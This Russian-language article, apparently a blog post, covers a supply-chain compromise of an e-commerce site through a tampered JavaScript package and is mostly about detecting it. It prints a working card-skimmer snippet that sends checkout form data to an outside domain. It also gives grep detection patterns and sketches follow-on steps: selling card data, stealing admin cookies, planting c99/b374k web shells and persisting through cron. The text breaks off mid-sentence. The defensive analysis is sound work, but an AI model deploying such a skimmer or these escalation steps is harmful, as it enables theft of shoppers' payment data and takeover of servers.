Заказчик просто хотел ускорить сайт перед распродажей. Разработчики обновили несколько готовых модулей — корзину, форму заказа, витрину товаров. Обычная рутина, которую делают тысячи сайтов каждый день. Только один из модулей оказался не тем, чем выглядел: официальный автор всё сделал правильно, но кто-то подменил версию в цепочке поставки — и внутрь легитимного пакета встроил код, тихо собирающий данные покупателей и отправляющий их на внешний сервер.
Тихий гость в обновлении
Это не гипотетический сценарий. Ровно по такой схеме недавно Amazon связала компрометацию четырёх популярных JavaScript-пакетов с северокорейской группировкой: атакующие не ломали сайты напрямую, а внедрялись в код, которым эти сайты пользуются как строительными блоками. Похожая история — компрометация CDN-сервиса polyfill.io в 2024 году, когда через один подключаемый скрипт заражению подверглись десятки тысяч сайтов по всему миру, включая крупные бренды. Ещё раньше был знаменитый инцидент с пакетом event-stream (2018) — вредоносная зависимость flatmap-stream охотилась именно за кошельками и платёжными данными. Схема одна и та же уже больше пяти лет, просто с новыми жертвами каждый раз.
Где была дыра
Проблема не в архитектуре сайта — фронтенд и бэкенд писались аккуратно. Проблема в том, что 90% кода современного интернет-магазина — это чужие готовые компоненты: библиотеки корзины, виджеты оплаты, аналитические скрипты, npm-зависимости фронтенда, компоненты CMS. Они подтягиваются автоматически при каждом npm install, composer update или обновлении модуля из маркетплейса CMS — и почти никогда не проверяются построчно ни разработчиком, ни заказчиком.
Если атакующий получает доступ к аккаунту мейнтейнера пакета (фишинг, утечка токена публикации, слабый пароль без 2FA) или к CI/CD-пайплайну сборки библиотеки — он публикует «обновлённую» версию с полезной нагрузкой внутри. Дальше цепочка срабатывает сама: автообновления тянут заражённую версию на тысячи сайтов одновременно, без единого клика жертвы по фишинговой ссылке.
Как это эксплуатируется
Пошагово атака выглядит так — я привожу инструменты и команды, которыми это и обнаруживается, и воспроизводится в контролируемых условиях при пентесте.
1. Компрометация цепочки поставки
Атакующий публикует вредоносную версию пакета в npm-реестре (или подменяет CDN-раздачу). Разница с оригиналом обычно в один-два коммита, спрятанных в минифицированном бандле.
# сравнение опубликованной версии с исходником на GitHub
npm view checkout-widget@2.4.1 dist.shasum
# f3a9c1... — сверяем с хэшем релиза на GitHub
git clone https://github.com/vendor/checkout-widget.git
cd checkout-widget && git checkout v2.4.1
sha256sum dist/bundle.min.js
# сравниваем с тем, что реально лежит в node_modules на проде
sha256sum ./node_modules/checkout-widget/dist/bundle.min.js
Если хэши не совпадают при одинаковом номере версии — это прямой признак подмены пакета «на лету» через прокси-реестр или скомпрометированный CDN.
2. Автоматическая доставка на прод
Дальше срабатывает обычный пайплайн: npm update без залоченных версий, деплой скрипт без промежуточного стенда, автосборка по крону — заражённая зависимость молча попадает в продакшн-бандл.
$ npm update
+ checkout-widget@2.4.1
updated 1 package in 3.2s
Никаких предупреждений — npm audit тут бесполезен, потому что вредоносный код ещё не попал в базы известных CVE:
$ npm audit
found 0 vulnerabilities
3. Обфускация и маскировка полезной нагрузки
Код скиммера прячут в минифицированном JS через eval(atob(...)) или подобные конструкции, чтобы он не бросался в глаза при code review.
# деобфускация подозрительного бандла
npx js-beautify dist/bundle.min.js -o dist/bundle.readable.js
grep -n "atob(" dist/bundle.readable.js
grep -n "fetch(\|XMLHttpRequest\|new Image()" dist/bundle.readable.js
Типичный найденный паттерн — скрипт слушает событие submit формы оплаты и отправляет сериализованные поля на сторонний домен под видом «аналитики»:
document.querySelector('#checkout-form').addEventListener('submit', e => {
fetch('https://cdn-stats-track[.]net/collect', {
method: 'POST',
body: btoa(JSON.stringify(formDataToObject(e.target)))
});
});
4. Обнаружение по сетевому трафику
Пентест-проверка модулей начинается не с чтения кода целиком (в крупном бандле это нереально), а с перехвата реального трафика страницы оплаты.
# перехват исходящего трафика со страницы checkout
mitmproxy --mode transparent -p 8080
# либо быстрее — прямой дамп на сервере
tcpdump -A -i eth0 'tcp port 443 and host cdn-stats-track.net'
# автоматизированный скан известных сигнатур скиммеров
nuclei -u https://shop.example -t http/exposures/ -t network/detection/ -tags magecart,skimmer
[skimmer-signature-detected] [http] [critical] https://shop.example/checkout
matched-at: https://shop.example/checkout
extracted: fetch('https://cdn-stats-track.net/collect'
Именно нетипичный внешний запрос — «домен, которого не должно быть в списке разрешённых поставщиков», — и был первым индикатором в разобранном случае.
Что и почему сработало бы дальше
Если бы утечку не поймали до старта распродажи, у атакующего был бы естественный путь развития:
- Монетизация карточных данных — CVV/PAN, перехваченные на форме оплаты, продаются пачками на карточных форумах; средняя цена валидной пары «карта + владелец» на теневых площадках — от 500 до 3000 рублей за штуку, при 12 000 клиентов и части транзакций с сохранёнными данными это конвертируется в заметный доход для группы.
- Захват сессии администратора — тот же скиммер-скрипт легко расширяется до перехвата cookies и токенов авторизации в админке CMS, если модуль подключён не только на витрине, но и в личном кабинете.
- Пивотинг на хостинг — получив доступ к админке, атакующий заливает веб-шелл (типичный сценарий —
c99.php/b374kпод видом файла темы), закрепляется через cron-задачу и использует сервер как плацдарм для дальнейших
